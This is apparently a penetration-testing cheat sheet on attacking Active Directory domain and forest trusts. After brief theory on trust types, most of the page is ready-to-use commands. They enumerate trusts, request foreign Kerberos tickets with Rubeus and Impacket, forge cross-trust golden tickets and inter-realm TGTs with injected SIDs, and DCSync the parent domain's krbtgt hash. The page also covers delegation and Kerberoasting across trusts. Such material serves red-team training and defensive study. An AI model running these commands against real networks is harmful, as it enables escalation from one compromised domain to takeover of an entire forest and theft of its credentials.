"Note that the Active Directory domain is not the security boundary; the AD forest is." - Sean Metcalf (ref )
Theory
Trust 👉🏻 a link between the authentication systems of two domains.
Transitive trust 👉🏻 the trust is extended to objects which the child domain trusts.
Non-transitive trust 👉🏻 only the child domain itself is trusted.
Bidirectional (two-way) trust 👉🏻 users from both trusting domains can access resources.
One-way trust 👉🏻 only users in a trusted domain can access resources in a trusting domain, not vice-versa (the direction of trust is opposite to the direction of access).
Some trust types:
Trust Type Description A trust between domains within the same forest. The child domain has a bidirectional transitive trust with the parent domain.
A trust between child domains (used to speed up authentication).
A bidirectional transitive trust between a forest root domain and a new tree root domain. Created implicitly when a new domain tree is created in the forest.
A transitive trust between two forest root domains. Enforces SID filtering.
A non-transitive trust between two separate domains in separate forests that are not already joined by a forest trust. Enforces SID filtering.
Enumeration
Get forest object:
Copy PV2 > Get-NetForest [-Forest megacorp.local]
PV3 > Get-Forest [-Forest megacorp.local]
Get all domains in a fores:
Copy PV2 > Get-NetForestDomain [-Forest megacorp.local]
PV3 > Get-ForestDomain [-Forest megacorp.local]
Enum trusts for current domain via nltest
and .NET:
Copy Cmd > nltest /trusted_domains /v
PS > ([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships()
PS > ([System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()).GetAllTrustRelationships()
Enum trusts via Win32 API and LDAP:
Copy PV2 > Get-NetDomainTrust [-Domain megacorp.local] | ft
PV3 > Get-DomainTrust -API [-Domain megacorp.local] | ft
PV2 > Get-NetDomainTrust -LDAP [-Domain megacorp.local] | ft
PV3 > Get-DomainTrust [-Domain megacorp.local] | ft
Build domain trust mapping:
Copy PV2 > Invoke-MapDomainTrust [-Domain megacorp.local] | ft
PV3 > Get-DomainTrustMapping [-Domain megacorp.local] | ft
Transitive trusts resolution:
Copy $ python bloodyAD.py -d megacorp.local -u snovvcrash -p 'Passw0rd!' --host 192.168.1.11 get trusts --transitive-trust --dns 192.168.1.11
Visualization (yEd)
Copy PV2 > Invoke-MapDomainTrust | Export-Csv -NoTypeInformation trusts.csv
PV3 > Get-DomainTrustMapping | Export-Csv -NoTypeInformation trusts.csv
$ git clone https://github.com/snovvcrash/TrustVisualizer && cd TrustVisualizer
$ pip3 install -r requirements.txt
$ python3 TrustVisualizer.py trusts.csv
Request a Foreign User TGT with Rubeus
Having just an RC4/AES keys of a user in target forest (that's a foreign user in target domain, but a native user in current domain), we can request Kerberos tickets manually with Rubeus.
Request TGT for that user in current domain:
Copy beacon> execute-assembly Rubeus.exe asktgt /user:snovvcrash /domain:megacorp.local /aes256:94b4d075fd15ba856b4b7f6a13f76133f5f5ffc280685518cad6f732302ce9ac /opsec /nowrap
Request inter-realm TGT from current domain to the target domain:
Copy beacon> execute-assembly Rubeus.exe asktgs /service:krbtgt/megacorp.external /domain:megacorp.local /dc:DC1.megacorp.local /ticket:<BASE64_TICKET> /nowrap
Use inter-realm TGT to request a TGS in the target domain:
Copy beacon> execute-assembly Rubeus.exe asktgs /service:cifs/DC1.megacorp.external /domain:megacorp.external /dc:DC1.megacorp.external /ticket:<BASE64_TICKET> /nowrap
This PR helps to use such tickets with Impacket.
Request an Inter-Realm TGT with Impacket
Request a TGT in current domain:
Copy $ getTGT.py -aesKey <AES_KEY> megacorp.local/snovvcrash -dc-ip 192.168.1.11
Request an IR TGT for the foreign domain in current domain:
Copy $ KRB5CCNAME=snovvcrash.ccache getST.py -spn 'krbtgt/MEGACORP.EXTERNAL' -k -no-pass megacorp.local/snovvcrash -dc-ip 192.168.1.11 -debug
Request an ST in foreign domain:
Copy $ KRB5CCNAME=snovvcrash_megacorp_external.ccache getST.py -spn 'ldap/DC01.MEGACORP.EXTERNAL' -k -no-pass megacorp.external/snovvcrash -dc-ip 192.168.1.22 -debug
Abusing Bidirectional ParentChild (WITHIN_FOREST
) trust between child.megacorp.local ⟷ megacorp.local .
Check if SID filtering is enabled for a trust:
Copy Cmd > netdom.exe trust child.megacorp.local /domain:megacorp.local /quarantine
SID filtering is not enabled for this trust. All SIDs presented in an
authentication request from this domain will be honored.
Raise Child
For creating a cross-trust golden ticket (Golden Ticket + ExtraSid) we'll need:
Child domain FQDN (child.megacorp.local
);
Name of the child domain's DC machine account and its RID (DC01$
, 1337
);
SID of the child domain (S-1-5-21-4266912945-3985045794-2943778634
);
SID of the parent domain (S-1-5-21-2284550090-1208917427-1204316795
);
Compomised krbtgt hash from the child domain (00ff00ff00ff00ff00ff00ff00ff00ff
);
1. Child domain FQDN:
Copy PS > $env:userdnsdomain
CHILD.MEGACORP.LOCAL
2. Name of the child domain's DC machine account and its RID:
Windows Linux
Copy PV2 > (Get-NetComputer -ComputerName DC01.child.megacorp.local -FullData | select ObjectSID).ObjectSID
PV3 > (Get-DomainComputer DC01.child.megacorp.local | select ObjectSID).ObjectSID
S-1-5-21-4266912945-3985045794-2943778634-1337
Copy $ lookupsid.py megacorp.local/snovvcrash:'Passw0rd!'@DC01.megacorp.local | grep SidTypeUser | grep -i DC01
1337: MEGACORP\DC01$ (SidTypeUser)
3. SID of the child domain:
Windows Linux
Copy PV > Get-DomainSID
S-1-5-21-4266912945-3985045794-2943778634
Copy $ lookupsid.py megacorp.local/snovvcrash:'Passw0rd!'@DC01.megacorp.local 0 | grep 'Domain SID'
[*] Domain SID is: S-1-5-21-4266912945-3985045794-2943778634
4. SID of the parent domain:
Copy PS > (New-Object System.Security.Principal.NTAccount("megacorp.local","krbtgt")).Translate([System.Security.Principal.SecurityIdentifier]).Value
S-1-5-21-2284550090-1208917427-1204316795-502
Create cross-trust golden ticket:
Windows Linux
Copy mimikatz # kerberos::golden /domain:child.megacorp.local /user:DC01$ /id:1 337 /groups:516 /sid:S-1-5-21-4266912945-3985045794-2943778634 /sids:S-1-5-21-2284550090-1208917427-1204316795-516,S-1-5-9 /krbtgt:00ff00ff00ff00ff00ff00ff00ff00ff /ptt [/startoffset:-10 /endin:60 /renewmax:10080]
Copy $ ticketer.py -domain child.megacorp.local -domain-sid S-1-5-21-4266912945-3985045794-2943778634 {-nthash <RC4_32> | -aesKey <AES_64> } [-groups 516] [-user-id 1337] [-duration 87600] -extra-sid S-1-5-21-2284550090-1208917427-1204316795-516,S-1-5-9 'DC01$'
For DCSyncing we'll need only parent domain FQDN (megacorp.local
):
Copy PS > ([System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest())[0].RootDomain.Name
megacorp.local
DCSync:
Copy mimikatz # lsadump::dcsync /user:megacorp.local\krbtgt /domain:megacorp.local
Inter-Realm TGT Forging
Manually craft an IR TGT injecting a privileged SID (example for WITHIN_FOREST
trust but can also be adopted for TREAT_AS_EXTERNAL
case ):
Copy $ ticketer.py -spn 'krbtgt/MEGACORP.LOCAL' -nthash <MEGACORP_LOCAL_TRUST_NTHASH> -domain child.megacorp.local -domain-sid <CHILD_MEGACORP_LOCAL_SID> -extra-sid <MEGACORP_LOCAL_SID>-516,S-1-5-9 [-groups 516] [-user-id <MEGACORP_LOCAL_DC01_RID>] 'DC01$'
Request an ST for DCSync:
Copy $ KRB5CCNAME='DC01$.ccache' getST.py -spn 'CIFS/DC02.megacorp.local' -k -no-pass megacorp.local/'DC01$' -dc-ip 192.168.1.11 -debug
DCSync:
Copy $ KRB5CCNAME='DC01$_CIFS_DC02.ccache' secretsdump.py -k -no-pass DC02.megacorp.local -dc-ip 192.168.1.11 -just-dc-user 'MEGACORP\krbtgt' -debug
UnD + PrinterBug
Unconstrained Can be abused either if CVE-2019-0683 is not fixed or if EnableTGTDelegation
is enabled for the trusted forest:
Copy Cmd > netdom.exe trust forestB.net /domain:forestA.net /EnableTGTDelegation:Yes
Attack Forest Trusts
List foreign users and users from foreign groups:
Copy PV2 > Find-ForeignUser -Domain [-Domain megacorp.local]
PV3 > Get-DomainForeignUser [-Domain megacorp.local]
PV2 > Find-ForeignGroup -Domain [-Domain megacorp.local]
PV3 > Get-DomainForeignGroupMember [-Domain megacorp.local]
PV > Convert-SidToName ...
List user accounts from a target domain with SPNs set for Kerberoasting :
Copy PV3 > Get-DomainUser -SPN -Domain megacorp.local | ? {$_.samAccountName -ne "krbtgt"} | select samAccountName,memberOf,servicePrincipalName | fl
PS > .\SharpView.exe Get-DomainUser -SPN -Domain megacorp.local -Properties samAccountName,memberOf,servicePrincipalName -Filter '(!(samAccountName=krbtgt))'
If SID history is enabled (e. g., if domain is on its migration period, netdom trust b.net /d:a.net /enablesidhistory:yes
) then the forest trust is treated as external .
We can try to locate non-default (with RID greater than 1000) admin account:
Copy PV2 > Get-NetGroupMember -GroupName "Administrators" -Domain -Domain b.net
PV3 > Get-DomainGroupMember -Identity "Administrators" -Domain b.net
If such an account is a member of a domain local security group (not a global group like Enterprise Admins
or Domain Admins
) and allows us to compromise a user or a computer in the target domain, we can create a cross-trust golden ticket for her the same way as described above .
CVE-2020-0665